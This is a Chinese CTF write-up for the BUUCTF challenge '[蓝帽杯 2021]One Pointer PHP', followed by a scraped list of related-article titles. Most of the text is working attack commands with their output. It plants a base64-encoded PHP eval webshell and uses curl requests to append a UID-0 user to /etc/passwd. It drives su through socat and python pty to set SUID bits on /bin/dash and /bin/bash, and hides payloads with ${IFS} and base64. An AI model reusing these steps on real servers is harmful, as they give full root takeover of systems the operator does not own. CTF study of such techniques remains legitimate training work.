buu ctf web 第6页: [蓝帽杯 2021]One Pointer PHP    

一般情况下,使用su(从低级的普通用户切换至root)切换用户需要手动输入密码

借助socat(360KB大小)工具,可以自动完成.

https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat

这里使用的是socat静态编译版

SHA1:F1A4ABD70F8E56711863F9E7ED0A4A865267EC77

su - tee

#需要手动输入密码

方法一:需要两次命令

/tmp/socat -v exec:"su - tee",pty unix-l:/tmp/ba2ba
/tmp/socat -v unix:/tmp/ba2ba exec:'echo -e "123456\nid\nchmod u+s /bin/bash\nexit"'

方法二:一步到位

​/tmp/socat -v -t4 -d exec:"su - tee",pty exec:'bash -c "echo${IFS}-e${IFS}-n${IFS}\"123456\\\rid\\\rchmod${IFS}u+s${IFS}/bin/dash\\\rexit\\\r\";"  ',pty

使用的socat版本为:

xxx$ ./socat -V
socat by Gerhard Rieger - see www.dest-unreach.org
socat version 1.7.3.0 on Jun 16 2015 21:24:31running on Linux version #202112141049 SMP Tue Dec 14 11:54:51 UTC 2021, release 4.19.221-0419221-generic, machine x86_64

使用python版:

cp /etc/passwd /etc/passwd.bak
tail /etc/passwd
echo "tee:\$1\$123456\$wOSEtcyiP2N/IfIl15W6Z0:229:2:toor:/tmp:/bin/bash" >>/etc/passwd
echo "yes:\$1\$123\$EKWAR30..wEKERDtzOQUv/:200:2:toor:/tmp:/bin/bash" >>/etc/passwd
tail /etc/passwd
tee@out:~$  (sleep 0.5;echo 123456;echo id;echo exit;sleep 0.5;echo exit;) |python -c 'import pty;pty.spawn(["bash","-c","su - tee"])'
Password:
tee@out:~$ id
uid=229(tee) gid=2(bin) groups=2(bin)
tee@out:~$ exit
logout
tee@out:~$ 
tee@out:~$  (sleep 0.5;echo yes;echo id;echo exit;sleep 0.5;echo exit;)|python -c 'import pty;pty.spawn(["bash","-c","su - yes"])'
Password:
yes@out:~$ id
uid=200(yes) gid=2(bin) groups=2(bin)
yes@out:~$ exit
logout
tee@out:~$ 

在  [蓝帽杯 2021]One Pointer PHP    环境下:

在使用蚁剑可以管理上的情况:使用蚁剑的[虚拟终端]功能

提示:可以使用蚁剑插件 [绕过disable_functions] 里最后一项: [PHP7_UserFilter],得到虚拟终端

第一步: 启动带suid的php进程(在蚁剑的[虚拟终端]直接输入,无需编码)

php -n -S 127.0.0.1:65432 -t /tmp -d enable_dl=On -d extension_dir='/tmp/' 2>&1 |tee -a /tmp/p3log

/tmp目录写shell

echo PD89ZXZhbCgkX1JFUVVFU1RbM10pOyAg|base64 -d|tee /tmp/1.php

测试shell

curl -v -o-  "http://127.0.0.1:65432/1.php?3=print_r%289981%29%3B"

第二步: 增加用户tee,用户id是0,也就是和root用户一样的权限

root@out:/tmp# cat /var/www/html/1.php
8<?=eval($_REQUEST[3]);?>
root@out:/tmp# cat /tmp/1.php
8<?=eval($_REQUEST[3]);?>
root@out:/tmp#

# curl -v -o- "http://127.0.0.1:65432/1.php?3=file_put_contents('/etc/passwd','tee:$1$123456$wOSEtcyiP2N/IfIl15W6Z0:0:0:toor:/tmp:/bin/bash'.PHP_EOL,FILE_APPEND);"

在蚁剑的[虚拟终端]需要编码:

curl -v -o- "http://127.0.0.1:65432/1.php?3=file_put_contents%28%27%2Fetc%2Fpasswd%27%2C%27tee%3A%241%24123456%24wOSEtcyiP2N%2FIfIl15W6Z0%3A0%3A0%3Atoor%3A%2Ftmp%3A%2Fbin%2Fbash%27.PHP_EOL%2CFILE_APPEND%29%3B"

运行完毕后,/etc/passwd里已经有tee这个超级用户了

验证:

curl -v -o- "http://127.0.0.1:65432/1.php?3=readfile%28%27%2fetc%2fpasswd%27%29%3b"

第三步:通过蚁剑文件管理器上传socat至/tmp目录,并给0744的权限,使其可以在www-data的权限下执行.

第四步:

在蚁剑的[虚拟终端]需要编码:

curl -v -o- "http://127.0.0.1:65432/1.php?3=pclose%28popen%28%27%28%28%2Ftmp%2Fsocat%20-v%20-t4%20-d%20-d%20-d%20-d%20exec%3A%22su%20-%20tee%22%2Cpty%20exec%3A%22bash%20-c%20echo%5C%24%7BIFS%7DZWNobyAgLWUgIC1uICIxMjM0NTZccmlkXHJjaG1vZCB1K3MgL2Jpbi9kYXNoXHJub2h1cCBzbGVlcCAzOTgmXHJleGl0XHIi%7Cbase64%5C%24%7BIFS%7D-d%7Cbash%22%2Cpty%29%26%29%26%27%2C%27r%27%29%29%3B"

解码后是:

curl -v -o- "http://127.0.0.1:65432/1.php?3=pclose(popen('((/tmp/socat -v -t4 -d -d -d -d exec:"su - tee",pty exec:"bash -c echo\${IFS}ZWNobyAgLWUgIC1uICIxMjM0NTZccmlkXHJjaG1vZCB1K3MgL2Jpbi9kYXNoXHJub2h1cCBzbGVlcCAzOTgmXHJleGl0XHIi|base64\${IFS}-d|bash",pty)&)&','r'));"

怕csdn转义:我用代码段再复制一份,如下:

curl -v -o- "http://127.0.0.1:80/1.php?3=pclose(popen('((/tmp/socat -v -t4 -d -d -d -d exec:"su - tee",pty exec:"bash -c echo\${IFS}ZWNobyAgLWUgIC1uICIxMjM0NTZccmlkXHJjaG1vZCB1K3MgL2Jpbi9kYXNoXHJub2h1cCBzbGVlcCAzOTgmXHJleGl0XHIi|base64\${IFS}-d|bash",pty)&)&','r'));"

ZWNobyAgLWUgIC1uICIxMjM0NTZccmlkXHJjaG1vZCB1K3MgL2Jpbi9kYXNoXHJub2h1cCBzbGVlcCAzOTgmXHJleGl0XHIi 解码后是:

echo  -e  -n "123456\rid\rchmod u+s /bin/dash\rnohup sleep 398&\rexit\r"

也就是自动输入用户tee的密码123456,并且给/bin/dash加suid权限,再后台运行一个sleep 398作为观察成功与否的标志.最后再退出su命令,注意su命令识别\r而不是\n 作为回车.


(www-data:/var/www/html) $ ls -al /bin/?ash-rwxr-xr-x 1 root root 1168776 Apr 18  2019 /bin/bash-rwsr-xr-x 1 root root  121464 Jan 17  2019 /bin/dash(www-data:/var/www/html) $ (www-data:/var/www/html) $ /bin/dash -p -c iduid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)(www-data:/var/www/html) $ /bin/dash -p -c 'chmod u+s /bin/bash'(www-data:/var/www/html) $(www-data:/var/www/html) $ /bin/dash -p -c 'chmod 4755 /bin/bash'(www-data:/var/www/html) $ (www-data:/var/www/html) $ ls -al /bin/?ash-rwsr-xr-x 1 root root 1168776 Apr 18  2019 /bin/bash-rwsr-xr-x 1 root root  121464 Jan 17  2019 /bin/dash(www-data:/var/www/html) $ 

linux su自动输入密码 使用socat相关推荐

  1. linux用户自动输入密码,Linux自动输入密码登录用户

    每次进去Linux系统,都有切换root用户,输入密码很麻烦,所以就写了一个小脚本,自动输入密码,登录到root用户, 1,首先检查一些是否安装了expect root@wuzs:/home/wuzs ...

  2. linux 界面自动输入密码,Linux中shell脚本如何自动输入密码

    shell脚本在处理自动循环或大的任务方面可节省大量的时间,通过创建一个处理任务的命令清单,使用变量.条件.算术和循环等方法快速创建脚本以完成相应工作,这比在命令行下一个个敲入命令要省时省力得多. 但 ...

  3. linux切换用户su自动输入密码,Linux切换用户出现【su:命令鉴定故障】问题修改的密码位数必须大于8位的问题...

    一.切换到普通用户出现  su:命令鉴定故障 创建用户设置好密码后,从root用户进入普通用户是不需要输入密码的,但是我切换到另一个普通用户,进行普通用户之间的切换的时候,出现了[su:命令鉴定故障] ...

  4. linux sftp自动输入密码,使用autoexpect避免sftp输入密码

    先是从数据库中导出所需文件,再将此文件转移至一个web server,然后通过此web server用sftp传输给第三方的server 所用到的脚本依次如下 先从数据库导出文本,并scp到web s ...

  5. linux sftp自动输入密码,linux下实现sftp自动登录。

    今天帮之前同事写一个sftp自动上传的脚本,因为sftp无法匿名登录,因此使用sftp时,每次都需要输入服务器密码,无法进行自动上传和下载文件,其中一种方法可以使用lftp这个就不在详细介绍了,现在介 ...

  6. expect 自动输入密码

    except 是一款在 linux 下自动输入密码的工具,例如 ssh 登录需要手动输入密码,就可以编写 shell 脚本自动输入. 在 linux 下登录使用 mysql 命令为 mysql -ur ...

  7. Linux下的十个好用的命令工具:查看系统版本,显示目录的大小,查看硬盘HDD/SSD,硬盘测速,ssh时自动输入密码,查看程序的内存使用情况,查看I/O的速度,查看ssh密码错误日志,查找文件

    文章目录 1.查看系统版本 2.显示目录的大小 3.查看硬盘是HDD还是SSD 4.硬盘测速 5.在ssh的时候自动输入密码 6.查看程序的内存使用情况 7.查看I/O的速度 8.查看ssh密码错误日 ...

  8. linux 脚本 expected,使用expect实现shell中scp自动输入密码

    使用expect实现shell中scp自动输入密码 前段时间有一个需求,要实现一个自动备份脚本,因为不需要全部备份,所以没有使用rsync,在这里使用scp.因为scp需要输入用户密码,在网上查了好多 ...

  9. 【linux】ssh 远程执行命令自动输入密码方式

    ssh 远程执行命令自动输入密码方式 场景: 由于多台机必须要登陆执行命令,需要使用密钥一台台登录,所以每次登陆机器的时候都需要手动输入域账号密码.密码太长且复杂,手动输入容易输错,故使用脚本来做这个 ...

最新文章

  1. ExecutorService与Executors例子的简单剖析(转)
  2. Android 实现歌曲播放时歌词同步显示
  3. mysql设计积分兑换表_积分系统数据库表设计.docx
  4. boxfilter 实现
  5. Apache james 2.3.2.1启动失败换成2.3.2版本就好
  6. LeetCode1139. 最大的以 1 为边界的正方形 (二维滑动窗口待优化)
  7. zabbix snmp异常超时、不稳定、时通时断:Timeout while connecting...
  8. mysql数据库登录历史_mysql数据库查看历史记录
  9. 再问:支付宝即时到账集成接口!
  10. 19款国产手机无一幸免:15分钟破解人脸识别!
  11. 用代码生成Glitch Art风格的抖音字体
  12. 什么是CGCS2000坐标系
  13. 微信无法打开xlsx文件_微信打不开文件怎么办显示excel丢失或损坏
  14. Android学习之动画(二)
  15. 量化投资之工具篇一:Backtrader从入门到精通(7)-Indicator类源代码解读(2)
  16. JBoss,Geronimo还是Tomcat?——三种开源Java应用服务器的比较
  17. VR眼镜连接android设备,华为VR眼镜和电脑如何连接 投屏软件PCVR Assistant 2.0使用教程...
  18. 适合微信小程序作品的极简番茄时钟
  19. 将格林威治时间转换为北京时间
  20. 【SpringBoot项目实战+思维导图】瑞吉外卖①(项目介绍、开发环境搭建、后台登陆/退出功能开发)

热门文章

  1. iOS程序员面试笔试宝典整理
  2. dubbo项目推送不能优雅停机
  3. ccd坏点测试软件,如何测试CCD坏点(ZT)
  4. Hadoop HDFS常用命令
  5. 医学领域深度学习模型训练的挑战
  6. 给二维码加密,防止内部资料外泄
  7. 股票融资融券通俗理解及利率
  8. 在window server虚拟机上搭建RAID1与RAID5阵列
  9. mac 使用的小技巧
  10. vue登录页面实现记住密码的操作